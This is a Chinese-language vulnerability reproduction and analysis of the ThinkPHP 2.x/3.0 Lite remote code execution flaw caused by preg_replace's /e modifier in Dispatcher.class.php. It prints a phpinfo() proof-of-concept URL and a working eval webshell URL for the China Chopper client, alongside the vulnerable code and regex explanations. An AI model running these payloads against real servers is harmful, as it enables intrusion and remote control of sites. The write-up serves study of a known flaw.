ThinkPHP2.x任意代码执⾏漏洞复现与分析
漏洞描述
ThinkPHP 2.x版本中,使⽤preg_replace的/e模式匹配路由:
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
导致⽤户的输⼊参数被插⼊双引号中执⾏,造成任意代码执⾏漏洞。
ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。
漏洞复现
POC
your-ip:8080/index.php?s=/index/index/name/$%7B@phpinfo()%7D
菜⼑连接
192.168.232.128:8080/index.php?s=/index/index/name/${@print%28eval%28$_POST[1]%29%29}
连接密码:1
漏洞分析
存在漏洞的⽂件
/ThinkPHP/Lib/Think/Util/Dispatcher.class.php
漏洞代码位置
// Dispatcher.class.php中static public function dispatch() 第102⾏
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
漏洞代码块
if(!self::routerCheck()){ // 检测路由规则如果没有则按默认规则调度URL
$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
$var = array();
if (C('APP_GROUP_LIST') && !isset($_GET[C('VAR_GROUP')])){
$var[C('VAR_GROUP')] = in_array(strtolower($paths[0]),explode(',',strtolower(C('APP_GROUP_LIST'))))? array_shift($paths) : '';
if(C('APP_GROUP_DENY') && in_array(strtolower($var[C('VAR_GROUP')]),explode(',',strtolower(C('APP_GROUP_DENY'))))) {
// 禁⽌直接访问分组
exit;
}
}
if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称
$var[C('VAR_MODULE')] = array_shift($paths);
}
$var[C('VAR_ACTION')] = array_shift($paths);
// 解析剩余的URL参数
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
$_GET = array_merge($var,$_GET);
}
分析
检测路由规则如果没有则按默认规则调度URL,然后解析剩余的URL参数
正则表达式的修饰符/e:只⽤在preg_replace()函数中,在替换字符串中逆向引⽤做正常的替换,将其(即“替换字符串”)作为PHP代码求值,并⽤其结果来替换所搜索的字符串例:
<?php
$a = '1a2b3c';
$b = preg_replace('/\d/e', 'print(xxx);', $a);
echo $b;
>
运⾏结果
Notice: Use of undefined constant xxx - assumed 'xxx' in F:\phpstudy\WWW\1.php(8) : regexp code on line 1
xxx
Notice: Use of undefined constant xxx - assumed 'xxx' in F:\phpstudy\WWW\1.php(8) : regexp code on line 1
xxx
Notice: Use of undefined constant xxx - assumed 'xxx' in F:\phpstudy\WWW\1.php(8) : regexp code on line 1
xxx1a1b1c
虽然有报错,但是已经执⾏了print(xxx)
正则表达式的搜索模式:(\w+)/([^/])是取每两个参数
$var['\1']="\2";是对数组的操作,将之前第⼀个值作为新数组的键,将第⼆个值作为新数组的值
例:
<?php
$var = array();
$s = 'a/b/c/d/e/f/g';
preg_replace("/(\w+)\/([^\/])/ies", '$var[\'\\1\']="\\2";', $s);
print_r($var);
>
运⾏结果:
Array ( [a] => b [c] => d [e] => f )
这⾥最开始匹配到a、b,a作为键,b作为值,以此类推
为了让我们构造的语句以执⾏,我们只需要将语句作为数组的值,如:
/index.php?s=a/b/c/${phpinfo()}
/index.php?s=a/b/c/${phpinfo()}/c/d/e/f
/index.php?s=a/b/c/d/e/${phpinfo()}
......
(语句在第偶数个参数位置)
ueditor漏洞php如何解决PHP语法
在PHP中${}⾥⾯可以执⾏函数
ThinkPHP的url规则
thinkphp 所有的主⼊⼝⽂件默认访问index控制器(模块)
thinkphp 所有的控制器默认执⾏index动作(⽅法)
存在漏洞的static public function dispatch(),叫URL映射控制器,也就是URL访问的路径是映射到哪个控制器下。
ThinkPHP5.1在没有定义路由的情况下典型的URL访问规则是:
serverName/index.php(或者其它应⽤⼊⼝⽂件)/模块/控制器/操作/[参数名/参数值...]
如果不⽀持PATHINFO的服务器可以使⽤兼容模式访问如下:
serverName/index.php(或者其它应⽤⼊⼝⽂件)?s=/模块/控制器/操作/[参数名/参数值...]
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论